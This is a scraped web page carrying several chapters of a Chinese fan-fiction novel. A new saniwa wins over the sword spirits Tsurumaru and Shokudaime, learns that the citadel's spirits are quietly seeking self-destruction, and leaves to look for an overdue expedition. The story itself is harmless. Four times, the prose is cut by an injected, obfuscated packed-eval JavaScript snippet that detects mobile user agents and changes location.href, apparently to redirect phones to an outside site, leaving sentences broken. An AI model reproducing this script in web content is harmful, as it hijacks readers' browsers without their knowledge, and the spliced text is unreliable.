他走在路上,点了点下巴,露出一个思考的表情,很快就到了下一位付丧神的部屋门口。之后的几位都算是好相与的,没再像在源氏兄弟屋里那样耗费脑细胞,唯独粟田口坚决闭门不出,不过看那两位伤势不重,便嘱咐好记得自己去修复池也就罢了。 离开最后一位山姥切的部屋,清水悠转了转手腕,打开用来装资源的布包看了看——还剩下一点儿。 数目不多,他从这里走到餐厅也与手入室并不顺路。他只纠结了一秒,就决定姑且先带在身上。 虽然他自认动作还算快,但毕竟是拜访了六个人,使用的时间还是比预计长了些。清水悠到达厨房时,长谷部正在把午饭重新加热,听见他的脚步声,回头看了一眼:“审神者大人?抱歉,菜有些凉了,还请您稍等一会儿。” 他看起来对清水悠来得这么迟并不意外,不过想到给他做手入时有多么磨蹭,又大概明白了原因。 估计是认为他的手入速度拖了时间吧。说不定在压切长谷部看来,他来得已经能算得上快。 清水悠点点头,打着呵欠去餐厅里坐下了。 今天预计的目标已经达到了,进度也完成了,逼得太紧只会适得其反,所以他不打算再做点什么,剩下来的时间是他的休息时间。 感觉比他想象得要简单一些。 如果之后也都能这么简单的话,那就意味着他每天只需工作一个上午。这种条件放在他生活的那个全是996与007的世界……应该算是很悠闲的吧? 真好啊,感觉死后比死前过得轻松什么的…… 清水悠忽然陷入沉默。 ……算了,这种东西还是不要随便去想了。 压切长谷部的手艺很好,至少是清水悠自己完全比不上的,这对他来说算是在计划中得到的意外之喜。整个餐厅只有他一个人在进食,压切长谷部站在一旁,一副绝不肯坐下的模样,清水悠也不自讨没趣去劝他。 他的视线瞥到自己放在旁边椅子上的购物袋,突然想起来一件事。 “对了,长谷部,”他把汤匙放下,瓷器碰撞发出清脆的声响,“还记得我在街上与你说的吧?” 压切长谷部回答得很快:“是指让我去叫烛台切这件事吗?” “嗯,不过先不急。” 清水悠在购物袋里找了找,找出一双全新的半指手套,仔细看去,上面竟绣有刀纹形状的暗纹。 压切长谷部认得出来,那是烛台切光忠的刀纹。 “路上看见有这个定制的,感觉很适合烛台切,就买了下来。”清水悠随意地将手套递给长谷部,并且改了时间,“让他晚上来吧,下午我有事要处理。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582774|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 去时政转了一圈,搞得他都差点忘了这件事。不过既然已经决定好下午要做的事,清水悠也不打算改变计划。 压切长谷部应下了。 吃过午饭后,清水悠独自回到了天守阁。 与他入职前所想的不同,那时他以为在担任审神者的前几天时人手稀少、百废待兴,至少也要忙好几天。 谁料最后他接手了一个完整的本丸,仅仅在第二天就变得无所事事。 不过这样也好,那件事本就是越早处理越好。他回到自己的房间坐下,在行李里找出一本厚厚的手册,难得带上严肃的神情,缓缓翻开第一页。 他有一些东西在现世,需要拿回来。 …… “……有想要拿回来的东西?”狐狸歪歪头,“很重要吗?” 黑发黑眸的青年垂眸看着他,像是想到了什么,眼底泛起一些狐狸看不懂的情绪。他轻轻点头,“嗯,很重要。” “嘛、有你这样需求的人也不少啦,毕竟没人能料到自己死后还能睁眼嘛。”狐狸态度很熟练,“可以给大人们递交申请就好啦,申请通过之后,就会有工作人员替你去带回来了……” “不行。” 清水悠忽然打断了他。 狐狸困惑地发出一声语气词:“呃?” “我在死前,将那些东西寄给了一个人。”说到这里,清水悠沉默了一会儿,才继续说道,“他很聪明。如果你们派人去,不论使用什么借口都会被他察觉,他不会把它们交给别人的。” 狐狸想了想,觉得自己明白了他的意思。 “所以……你是想要自己去拿?” “是的,只能我去。” 这个要求让狐狸很犯难,它耷拉下耳朵,尾巴也不再在地上扫来扫去。垂着头想了半天,大概是实在不知道该怎么办,它偷偷掏出了通讯器。 清水悠体贴地当做没看见,将视线移到一边。 没多久,狐狸得到了答复。它仔仔细细看完回复内容,将通讯器关上,组织了一下语言。 “简单来说,恭喜,大人们的确有考虑过这个情况,”狐狸将打好的腹稿慢慢说出口,“但是,你知道的吧,你已经死了。死人是不能重新出现在人前的,这和改变历史没有太大差别。所以如果你要去,大人们的意思是,你只能使用时政提供的另一具身体,将你彻彻底底变成另外一个人。” 清水悠歪了歪头,不觉得只是这点要求会让狐狸露出那样的表情。 果不其然,狐狸继续往下说了:“但是因为毕竟是换了身体,这件事的原理是按照时政的科技,将你的灵力大幅度抽出并转移到一具空壳身体里,当灵力转移到一定程度,在时政将你的灵力转移回来之前,你的意识会在那具身体里苏醒。” “这个科技由于目前还不完全成熟,因此想要成功会很难,或许要经过长时间的训练,而且在这途中一定不会好受。” 只是这样? 清水悠眼也不眨:“没问题。” 然而狐狸还没说完。它狠狠换了口气,一句话将剩下的全部说出口:“并且——你还需要认真看完作为已死之人回到现世需要遵守的守则,在最后进行考核并通过,你才能回去。” 狐狸从不知道哪里的异次元掏出了一本砖块一样的书,因为错估了书的重量,它抱在怀里,立刻摇摇晃晃左右走了两步,很快将它拍在地上。 ——比牛津词典还厚重的体型让它在落地时发出了一声巨响。 12.第12章 回过神来,清水悠看着面前可以当做武器的审神者返世守则,叹了口气,集中注意力看向第一行字。 …… ………… 不、不行。 清水悠头晕眼花地抬头,他认认真真地看了每一条细则,但每当这种时候,想要努力去记下什么东西,反而更容易看完就忘,比左耳进右耳出的速度还要快。 他看了一眼时间,发现已经过去了十分钟,他还没能看完第一页。 不知道这本手册究竟是谁编写的,大概是为了杜绝任何一种钻空子的行为,它将每一种可能发生的情况都列得清清楚楚,清水悠现在正看着的这条写的是: 11.禁止使用自己原来的身份进行网恋,并在被发现后表示自己是冒充身份的骗子。 ……也不知道时政究竟都遇上过什么。 这种东西光是看完都不知道要过去多久,更不用说要做到能通过考核的地步。清水悠很快地意识到这会是一个长期的过程,并且没有捷径。 既然这样,他慢慢平复了一下本有些许浮躁的心情,那就慢慢来吧。 他现在的心境也的确不适合回去,若是到那个人面前,恐怕会被立刻看出来问题。 趁着这段时间,调节一下状态也好。 清水悠放平心态,啃了一下午书,一直到有人敲门,才意识到已经到了黄昏。 他仰起头,揉了揉脖子,提高声音:“进来。” 门打开了。 鹤丸国永走进来,看见他桌上摊着的书本,下意识扫了一眼。 尽管收回视线得很快,以刀剑付丧神们远强于人类的身体素质,他也依然看见了几个字。 当你想与人交流……什么? 白鹤眨了眨眼,来了兴致。 看这话的意思,像是一本指导人与人交流的书。审神者似乎在房间里一整个下午就是在看这个,难道,他表面冷静,实际却很担心不能和刀剑男士们处好关系吗? 清水悠抬起头,反倒有些意外。 他以为是烛台切光忠过来了,于是直接让对方进来。谁料推门的是鹤丸国永,他这才恍然想起,自己好像将近侍抛在了一旁一整天。 “鹤丸,”他问道,“有什么事吗?” 鹤丸国永拢起袖子笑道:“看书看入迷了吗?光坊说你让他来找你哦。” 那他倒也不算猜错,清水悠想着,正要让烛台切光忠直接进来,就被鹤丸国永提前一步打断了话。 “真是的,你不会想直接见他吧?”他的笑容变得有些无奈,“看看时间呀,已经晚上了哦,你该考虑考虑晚饭的事情了吧?” 他说着,忽然露出恍然大悟的神情,“喔,这么一说正好呢,光坊可是本丸里最会做饭的人。既然如此,我就去让他给你露一手吧!” 清水悠歪了歪头。 没等他发表意见,鹤丸国永已经这样自说自话地快速离开了房间,几乎发挥出太刀不该有的机动。清水悠盯着已经看不到白鹤背影的门外,站起来,将桌上的东西整理好。 等他来到楼下的时候,鹤丸国永正背对着他,和烛台切光忠说着什么,听见他下楼的动静,鹤丸国永立刻回头冲他挥手。 “呐!光坊答应了哦!” 在他的身旁站着一位右眼戴着黑眼罩的男人。在听见鹤丸说这话时,表情还有些无奈,但是当他看向审神者,他的表情已无声无息趋于滴水不漏的稳重。 清水悠的视线从他手上扫过,太刀依然带着自己那充满使用痕迹的手套,并没使用他送出的礼物。 清水悠面色不变,像是半点没有察觉,“那就辛苦了。” 鹤丸国永便立刻笑着推烛台切光忠往厨房的位置走去,两人走得很快,没有要等等清水悠的意思,很快就将他甩在了身后。 两人说话的声音也渐行渐远,在掌握灵力之后,清水悠的五感比曾经敏锐很多,因此他听见鹤丸带着愉悦的调子在轻声哼—— “厨当番~厨当番……” 慢慢看不见人影,声音也不再清晰了。 厨房的位置清水悠还算熟悉,或者说相比起其他没去过但磕磕绊绊也能找到位置的地点,厨房对于现在的他来说已经闭着眼睛都可以准确到达。 所以两人丢下他的举动没给他造成任何麻烦,他维持着自己平常的步调,后脚跟着来到了厨房。 出乎他意料的是,鹤丸国永并没和烛台切光忠一块儿待在厨房里,他在餐厅里也找了,都没见到人。 清水悠一边往餐厅出口走,一边思索,跟着烛台切一起走也能迷路吗? ……啊,不对,这是三日月的设定,不是鹤丸的。 那么,这种情况果然就是…… 右脚踏到餐厅外的那一瞬间,檐上忽然落下一道雪白的声音,对清水悠发出“哇!”的声音。 与此同时,清水悠处变不惊地抬手一挥,做出将东西甩出去的动作,但是不管怎么看也看不见任何东西。在清水悠的注视下,鹤丸国永却先一步露出惊慌的表情,下意识往后退了一步。 他好像看到、感受到了什么,一阵风在他脸上吹过,将刘海吹起。直到风的吹拂慢慢停止,鹤丸国永才回过神来。 他看向审神者,拍拍胸口,笑起来,“哇啊,这可真是吓到我了啊。” 不仅恶作剧对象毫无反应,自己还被反过来整了一道。鹤丸国永双眼亮晶晶的,凑到清水悠身边,摸了摸自己的脸。 “刚刚那是什么?感觉好奇妙,再来一次再来一次?” 当时审神者做完动作,他的直觉就开始给出两种完全相反的答案。一种告诉他这东西是无害的,一种告诉他最好避开。 但那样的距离很显然来不及躲。于是很快一阵微风就吹到脸上,他感受到了一种像是冬天沐浴在温泉里一样的舒服,甚至还出现了如同泡温泉时间太长了一样所产生的短时间眩晕。 他被吓了一跳,好奇心也开始迅速增长。清水悠看着围着自己转的白鹤,只觉得这哪里是鹤,分明如同小狗一样。 这个问题没什么好不能说的,他举起手,让唯一的观众看清自己的动作。 一开始毫无动静,慢慢的,他的掌心凝聚起一股肉眼可见的风旋。 鹤丸国永一开始还乐呵呵看着,然而越看越觉得眼熟,眉头也开始皱得越来越深。在某一瞬间,他立刻想起了什么,一把抓住审神者的手腕: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600323|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了好了,我已经明白了,快停下!” 他说着这话,金眸紧紧看着清水悠的手心。清水悠察觉到他的态度有些紧张,虽是不明所以,也停止了手心的灵力输出。 风旋慢慢减小、消失不见,到最后只剩下一缕风悄无声息飘走,鹤丸国永松了口气。 清水悠握了握拳,强行收回灵力让他有些不适,像是想要呕吐一般的滋味,嘴里唾沫不断分泌。清水悠压下不适感,抬起漆黑的眼:“怎么了,你似乎很紧张?” 鹤丸国永欲言又止地看着他,半晌,一手拍上脑门。 “真是的,新手真麻烦啊。” 清水悠歪歪头。 鹤丸国永:“时政没有向你说明过吗?啊、也是,正常人哪里会这样浪费灵力。” “记住了,灵力是很重要的东西,不管是对我们、还是对你,都是。我姑且还是知道一点审神者的背景,你们没有了普遍意义上的肉身,基本是由灵力组成的,如果消耗的灵力太多,对你们来说可不是什么好事啊。” 他还没有放开清水悠的手腕,一边说着,一边用另一只手将他的五指合拢。 “没人知道灵力耗尽会出现怎样的事。”他垂下眼眸,低声喃喃,“或许会直接消失……也说不定呢。” 清水悠任由他动作。听见这话,他忽然想起在第一次来到这个本丸的时候,狐狸告诉他的事。 ——【这个本丸的审神者,在某一天突然失踪。】 鹤丸国永平时一副中立态度,现在看来,果然还是在意的。 清水悠心软了些,他没再说些试探的话,这一次乖乖应了好。 空气有些寂静,厨房里烛台切光忠做饭的动静就隐隐传来。鹤丸国永将清水悠的手放下,弯了弯眼转移话题:“说起来,不觉得这是个很好的机会吗?” “机会?” “和光坊拉近关系的机会哦!” 鹤丸国永往前走出两步,回头示意清水悠跟上,两人在厨房的窗外停下。 这里能看到太刀忙碌的背影,他的手法比清水悠娴熟多了,不知道是不是该说不愧是刀剑付丧神,用刀的手法也是一流。 清水悠扭头看向身边的人,不明白他要做什么,很快鹤丸国永就压低声音和他嘀嘀咕咕说了几句。 他听着,眨了眨眼,眉眼间染上几分迟疑。 “这样……不太好吧?”虽然他不介意为了达到目的使用手段,但像这样毫无目的纯粹的恶作剧,他的确从来没尝试过。 某种意义上,清水悠从小就是一个十分规矩的孩子。 只是虽然这么说,白雾却比他的语言和想法要更能表现出他的内心。鹤丸国永眼睁睁看着雾气边缘一会儿圆润,一会儿如同被风吹散般活跃地散开,忍不住噗呲笑出了声。 这一声有些大了,厨房内烛台切光忠疑惑地扭头看过来,他赶紧捂住嘴蹲下。 黑发太刀没发现异常,没想太多,继续认真做他的料理。 白鹤小心翼翼地从窗口重新探出头,确认完敌情之后,便直接推着纠结的审神者离开这个地方。 “好啦,放心吧!光坊不会生气的!” 他信誓旦旦地说道。 13.第13章 厨房内的男人专心致志做着晚饭,准备的菜肴仅剩最后几道工序就能完成,他一边想着审神者单独叫他是有什么事,一边手下不停。 老实说,在今天中午,长谷部敲开他的门时,他是感到有些意外的。 他和长谷部的关系不算特别亲密,尽管他一直觉得他们两人应该很合得来,但是由于长谷部对于自己前主的心结,他一直找不到什么话题和对方拉近关系。 于是一直保持着普普通通工作伙伴的距离,在主公失去消息之后,本丸的大家都提不起什么劲,就更没怎么交流过了。 在这种时候,长谷部却忽然主动来找了他,他当时一边疑惑地想着会有什么事一边打开门,就立刻被对方那一身新衣服晃花了眼。 居然是轻装!而且一看就是审神者刚给买的! 难道作为激进派第一人的长谷部居然头一个倒戈了吗?! 他这样想着,脸上也一定露出了与想法相似的表情。然而长谷部只是看了他一眼,就低声解释道:“不是你想的那样。” 接着,就再没有说什么,将一个礼袋递给他,又向他交代了审神者的传唤,便礼貌地告别回到了自己的房间。 这样的反应对于压切长谷部这一振刀来说意味着什么,再明显不过。 于是烛台切光忠心里刚燃起的那丝希望的火苗被冷水浇灭,他低头看了看手里审神者的礼物,犹豫再三,没有拿出来戴上。 他还不能表态……在彻底了解这一位审神者之前,他不能表态。 哪怕,这是他们最后的一次机会了。 …… 烛台切光忠想着,略微走神,于是也没察觉到身后不寻常的动静。 在他放下刀,准备抬手拿什么的时候,耳边忽然响起“哇!”的一声,把他吓得立刻回过神,扭过头去,毫不意外地看到了那个熟悉的人影。 “鹤先生……”他无奈地唤道,“您与其在这里捣乱,还不如出去陪陪审神者大人吧?” 鹤丸国永闻言,露出一种类似于我预判了你的预判的小骄傲的表情,笑着让开身子,露出身后的清水悠。 “我们决定来帮忙哦!” 烛台切光忠有些猝不及防,他的视线落到清水悠身上,后者礼貌地道:“你好,烛台切。不介意的话,也尝尝看我的手艺?” 这怎么可以! 没有哪个本丸的审神者是需要在内番中帮忙的,烛台切光忠下意识就想拒绝。 然而鹤丸国永似乎预料到了他会说什么,抢先一步说道:“我作证!味道很不错哦!” “看起来烛台切只做了我一人的量,但是只有我独自用餐果然还是会觉得很奇怪呢。”清水悠也接话道,两人仿佛商量好了似的一唱一和,“而且,就算刀剑男士只需要灵力就足够了,但既然拥有了人体,果然还是正常进食要好一些吧?” 这两人噼里啪啦地说完,堵得烛台切光忠根本说不出话来。 都已经说到这份上了,再拒绝就有些不知好歹了。黑发太刀憋了一会儿,如两人所愿地松了口。 于是清水悠扫了一眼他正在使用的厨具,选择了一样与他不会冲突的菜肴。 鹤丸国永也跟上来,烛台切光忠在旁边看了又看,最终选择相信他不会在新审神者的面前搞事情,犹犹豫豫地收回视线。 鹤先生虽然孩子气,但姑且还是有分寸的……应该不会有什么问题吧。 被他在心里念叨的鹤丸国永当然察觉到了他的视线,但根据他对对方的了解,对方肯定没发现什么。他偷偷笑了两声,取了点两人做菜用的边角料,进行自己的创作。 尽管清水悠总是开他玩笑,但他其实算不上厨房杀手,不说无所事事时候学的那些,千年的老刀光是阅历都能秒杀一众人。 所以虽然并不精通,但一些简单的东西,他还是会做的。 他这边一边思考步骤一边慢吞吞地做,最后完成的时间几乎和清水悠差不多。烛台切光忠那边已经结束了好几分钟,正在将自己做好的晚餐端向餐厅。 清水悠和鹤丸国永对视一眼,两人一派正经地也后脚带着自己做的东西在餐厅坐下。 “咳嗯,”鹤丸国永清清嗓,“光坊你快看看,我们做得怎么样?” 烛台切光忠眨眨眼,毫不吝啬地给出夸奖:“看起来很不错。” 鹤丸国永立刻给清水悠使眼色,在烛台切光忠看过来的时候表情却又瞬间恢复一本正经。清水悠没他这么丰富的经验,几乎不用想就知道自己此刻的表情一定有些僵硬,还好别人只能看见白雾。 他也张了张嘴,用正常的语调说道:“那么,烛台切尝尝看?” 烛台切光忠的确什么也没察觉。他点了点头,就先拿起离自己最近的饭团。 在他咬下第一口之后,两人立刻紧张而又期待地等待他的反应。 烛台切光忠:“……” 烛台切光忠:“…………” 烛台切光忠的手顿住了。 下一秒,他猛地把头偏向一边咳嗽起来:“咳咳、咳咳咳,好辣!” 那枚饭团是鹤丸国永做的,连清水悠都不知道他在里面加了什么料。此刻一听,又见到饭团里透出的红色,失笑着赶紧将自己那一碗汤推过去:“喝一口试试,听我以前的朋友说,有解辣功效。” 烛台切光忠想也没想,立刻拿起来灌了一大口。 的确如同对方所说,辣意很快被消下去一大半。鹤丸国永备好的水也没了用武之地,在对方抱怨之前,他迅速双手合十道歉道:“哈哈哈、抱歉抱歉。因为到现在你和长谷部都拿到了礼物,作为近侍的我却什么都没有,所以忍不住想要报复一下。光坊就原谅我吧。” 烛台切光忠看了他一眼,似乎是想要说什么,最后还是咽了回去。 他没有戴那副手套,也没有提,以为能够顺其自然地略过这件事。但是鹤丸国永在这时候将其点名,便让他明白这个话题无法再避过去。 他深深吸一口气:“谢谢大人替我挑选的礼物,实际上您不必这么费心。我……” 下面的话他只说出一个音节,便迟疑着不知道该不该继续往下说。 这个时间太早了,他根本还不知道这个审神者究竟是个怎样的人。可是鹤先生促成了现在这个局面,他忍不住看了鹤丸国永一眼,难道鹤先生这就已经判定好了吗? 没等他决定好,审神者那边却有了动作。 清水悠一手轻轻敲着桌面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625278|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,认真地看向烛台切光忠:“那个不用在意。烛台切,我想问你一个问题。” 烛台切光忠:“……您问。” 清水悠看着他,之前的日课记录不断在脑子里闪现。这个本丸百分之八十五以上的人都在飞蛾扑火般进行没有意义的出阵,只有八个人避开了这件事,只轮流出去远征。烛台切光忠就是其中之一。 “我想问,”他轻声却又直白地说道,“他们为什么要进行那样……类似于自毁的举动?” 没错,自毁。 他到最后,认为抛却一切逻辑之后能得出最大可能性的结论就是,他们那么做只是为了自毁。 这个本丸因为众所周知的问题,使时政对它关注颇多。这导致了若是他们忽然出现异常情况,时政会很快派人来查看,所以他们只能不动声色地去做这件事。 没有审神者,所以出阵安排混乱,所以受伤也缺乏灵力去修复。他们一旦出伤就返回,在无人可用之前也绝不会带伤出阵。就算时政发现了来问他们情况,他们也完全可以解释。 这样一步步下去,如果时间长一点,或许他们真的能在某一天,悄无声息地完成自我毁灭的行为。 烛台切光忠没想到他会这么直白,一时间愣了一下。他看着面前的身影,想要看清他脸上的表情,但依旧只能看见一团白色的雾气。 “……”他垂下眼,“您是这样想的啊。” 清水悠挑挑眉,“不对吗?” “不。”烛台切光忠摇摇头,“我认为您想的是对的。” “但是,在我回答这个问题之前,您能先回答我一个问题吗?” 清水悠没怎么犹豫:“可以。” 烛台切光忠握紧了放在膝上的拳头,看起来心情并不平静。气氛不知不觉变得严肃,清水悠安静等待着,直到太刀略微沙哑的声音响起。 “不管发生什么事,您都会留下来吗?” 他这样说着,将希冀的视线落到陌生的审神者身上。 他知道这个问题其实很冒犯,毕竟他们认识不过两天,对方也没有义务对他做出承诺。 但是他没有选择了,他知道不管自己最后对审神者考察的结果怎样,他都只能努力去争取对方的留下,他现在所谓要观察对方的理由不过只是内心对结果害怕所产生的逃避。 而现在,鹤先生已经替他做出了决定。 那他就没有必要再迟疑。不管对方怎么回答,他所要做的事情都是不会变的。 内心不断这样安慰着自己,随着等待答案时间的增长,烛台切光忠却也免不了越来越紧张。他的指甲深深陷入掌心的肉里,他却毫无所觉,一双眼紧紧盯着审神者,几乎能听到心脏的跳动。 清水悠视线扫过他,又看了一眼旁边始终没出声的鹤丸国永。 他发现,后者虽脸上笑吟吟的,他却也能从两人之间的契约上感受到他心里并不如面上平静。 打量了一番两人的态度后,他意识到这个问题的重要性,于是也坐直了身子。 清水悠用那双漆黑的眸与烛台切光忠对视,那双眼眸深不见底,此刻却写满了认真。 清冽的嗓音带上郑重—— “当然,我向你承诺。” 14.第14章 …… 话音落下好一会儿后,烛台切光忠才慢慢睁大了眼:“您、您说的是真的?” 夕阳已经基本落山了,外面被黑夜笼罩,唯有屋内还有灯光的亮度。 暖白色的亮光打在清水悠黑色的发顶,碎发在额前投下阴影。这么一会儿他已经彻底想通了他们的意思,能在毫无了解的情况下对他问出这种问题,说明他们并不是需要他,他们需要的只是一个能留下来的“审神者”。 所以他也诚实地又摇了摇头,将自己最开始的打算和盘托出:“准确地说,在解决这个本丸的问题之前,我不会离开。” “你们需要的并不一定是我,我也有我自己的打算,”他说道,“所以之后我会想办法让这个本丸能够继续运转,当这里不再需要我了,我就会离开。” 烛台切光忠情绪被打断,困惑地眨了眨眼,有些没明白他的意思。 “抱歉,您是想要……怎么做呢?恕我直言,我的那些同伴们如今的想法有些偏执,如果您能让他们接受您作为新的主公,我想恐怕大家不会同、不会有不需要您的那一天。” 他的表达比较委婉,但说来说去,意思无非也就是觉得清水悠的想法行不通。 “所以,”青年的手指开始继续敲击桌面,“我的意思是,我会想办法增大他们直接接受新审神者继位的可能性。” - 谈话结束后,清水悠同鹤丸国永一路,往天守阁的方向走去。 “鹤丸,”走到一半时,清水悠忽然说道,“谢谢你。” “嗯?”鹤丸国永明显愣了一下。 清水悠没继续往下说,内心却很清楚——在晚饭之前,鹤丸国永带他做的那个恶作剧,其实只是他自己的恶作剧而已。 而清水悠作为审神者,在恶作剧的名义上,实际做的却只有为烛台切光忠做了一碗汤。 要说是恰好鹤丸放了辣椒,恰好他的汤能解辣,清水悠是不信的。 他在料理时不知道部分需要用到的物品放在哪里,还让鹤丸帮忙取了一下。恐怕在那时,后者就已经决定好自己要做什么了。 ——他在帮审神者同烛台切拉近关系。 这是独属于鹤丸国永不露声色的温柔。 这些东西很小很细节,若不是清水悠一直仔细注意着所有人,恐怕也不会察觉。不过,如果要一一解释出口,反而拂了他动作隐晦不让自己察觉的意,于是清水悠只笑了笑,再没往下说。 鹤丸国永看了他一会儿,不知是否是明白了什么,也没继续问。 再走几步路之后,就回到了天守阁。鹤丸国永打完招呼就回到他的近侍房睡下,清水悠则走上自己的二楼,整理今天听见的真相。 就像烛台切光忠没有想到他的态度一样,他也没想到烛台切光忠对他说出的这个本丸的情况会是这样。 在他们的主公失踪之后,本丸里的大家茫然无措了好一阵子,有人没日没夜地穿梭在各个时空,想要找到有关于主公的线索,却始终没有结果,时政也没查出个所以然来。 那时他们还抱着无望的幻想,期盼主公只是暂时的离开。但是不久之后,时空转换器的再一次亮起,打破了他们所有希望。 时政带来了新的审神者,接替他们主公的位置。 这意味着,时政已经盖章他们的审神者无法再回来,于是让新人补上空缺,再次管理这里的付丧神。 他们无法接受这个结果,于是想办法让那个审神者自己离开。 这样的事情又发生了两三次,他们坚决不肯接受新的主人,以为会一直这样僵持下去。直到有一天,狐之助从时政回来的时候,满面愁容,直直扎进了天守阁,半天没出来。 于是他们明白了,时政不会接受有一个本丸不受管控,若是再这样下去,这个本丸就将被回收,或许是下次,或许是下下次,留给他们选择的时间不多了。 说到这里时,清水悠发现,与自己曾经所想的不一样,回收并不是指的回归本灵,而是由时政简单粗暴地清理他们身上的所有痕迹,手动格式化之后,重新投放到新的本丸。 或许结果是一样的,但很显然,这两个过程的意义不同。 若是回归本灵之后再分出去,就像回归大海的水,哪怕再舀起一瓢,也绝不是曾经那一瓢。然而只是清除痕迹,就像将染了墨的水滴进行清洁,虽然它变得与别的初始状态的水并没有不同,它却依然还是那一滴。 它是洁净的水,它也是经过墨染又被抹去墨水痕迹的水。 哪怕失去记忆、失去过往全部经历的痕迹…… 它也依旧是它。 所以到了这个时候,本丸里隐隐约约开始分为了两派。其中一派认为,无法接受就这样被洗去记忆,一无所知地效忠别的审神者,如果这样的话他们宁愿碎刀。另一派则认为,主公那样温柔又十分在意他们的人,不会愿意他们这样做,还不如接受新的审神者继位,然后带着记忆继续寻找主公的消息。 “‘但是你们的想法,不仅是对主公的背叛,也是对新来的审神者的不公平。’他们当时是这样说的。”烛台切光忠无奈的表情深深刻印在了清水悠脑海,让他更为清晰地明白了现在的情况究竟有多麻烦。 他坐在书桌前,扫了眼旁边放的审神者返世守则,心安理得地决定明天再看。 现在比较要紧的是,他决定将之前的试探与计划全部推翻。 翻找笔记本准备开始构思新的应对方法的时候,清水悠将新的本子抽出来,手肘无意识将旁边书柜上的东西碰掉。 他看了一眼,弯腰捡起,正要将掉落的刀帐放回原来的位置,便忽然神情严肃起来,抬头看了眼时间。 19点42分。 ——距离远征队伍应该回来的时间,已经超过了一个小时。 - 这情况俨然不对劲,清水悠毫不犹豫决定出门去看看。 审神者出门需要向近侍交代情况,然而时间紧急,清水悠没空在天守阁与鹤丸国永慢慢说。 他简单交代了几句便快步走出门,却没想鹤丸国永皱着眉,一声不吭地跟了上来。 他始终低眸沉思着,直到审神者拨动罗盘,即将站上去的那一刻才抬起头:“……先等等。” 清水悠回头,他的神色不再平静,隐隐夹杂几分忧虑。 付丧神在远征时超时未归这件事可大可小——远征去的都是不会有问题的、完全安全的时代,往小了说,可能只是他们被什么事情绊住了脚步,解决完就会回来,往大了说,就有可能是这个时代本身出了问题。 不管是那种可能,都与刀剑男士们脱不开关系。他害怕他们会出意外。 “尽管如你所说,他们迟了一个小时还没有回来,这很可能是出了什么事……”鹤丸国永定定看着他,“但是你没必要亲自去,不是吗?” 没有自保能力的审神者亲自进入时代,显而易见风险比付丧神们更大。 鹤丸国永的意思很明显,他可以派别的刀剑男士去探查清楚情况,再回来同他禀报。哪怕本丸的激进派们再不配合,在同伴的事情上,他们也不会任性。 清水悠明白他的意思,却只是摇了摇头,然后冲他摊开手,露出手上躺着的通讯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654889|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器。 “我知道或许你说的是对的,鹤丸。”他轻声道,“但是这只建立在那边的确没出什么大事的情况下。如果第二部队也没能回来……” 如果第二部队也没能回来,他的确有充足的理由能向时政报告紧急情况了。 但他能心安吗? 清水悠没再说下去,距离他意识到这件事已经过去了十分钟,他觉得不能再往下拖。 “总而言之,鹤丸殿,”他走上传送位置,“本丸的一切就暂时拜托你了。” 鹤丸国永抿了抿唇,下一秒,他毫不犹豫地追了上来,“啊、抱歉,看来要让你失望了。” 在清水悠讶异地目光中,他耸了耸肩,“不管怎么说,放任柔弱的审神者独自前往可能有问题的时代,作为近侍未免也太失职了吧?” “近侍的主要职责,可是服务好审神者的一切啊。” 话音落下,明亮的光芒划破黑暗,两人消失不见。 …… 已经出了门,再想把人赶回去就难了。 避免本丸产生不必要的慌乱,清水悠没多久就决定,不管怎样,总之先尽快解决这里的问题。 落地的位置在无人地带,由上往下可以遥遥看见整个城镇的轮廓,这里的时间还是半天,街上熙熙攘攘,好不热闹。 “……看起来,没有什么问题。”鹤丸国永观察半晌,说道。 城镇没有问题,清水悠通过契约感受到的刀剑男士们的位置也不在这里。他转了个方向,神情凝重地看向树林深处。 “他们在那里面。” - “——锵!” 银光闪过,利刃碰撞声在耳边震耳欲聋地响,树干布满剑痕,绿叶飞落沾尘。 分明局势是六对二,六人的那一队却明显落了下风。他们只顾防守,一点也不敢还击,甚至就连防守也不敢完全施展开来。 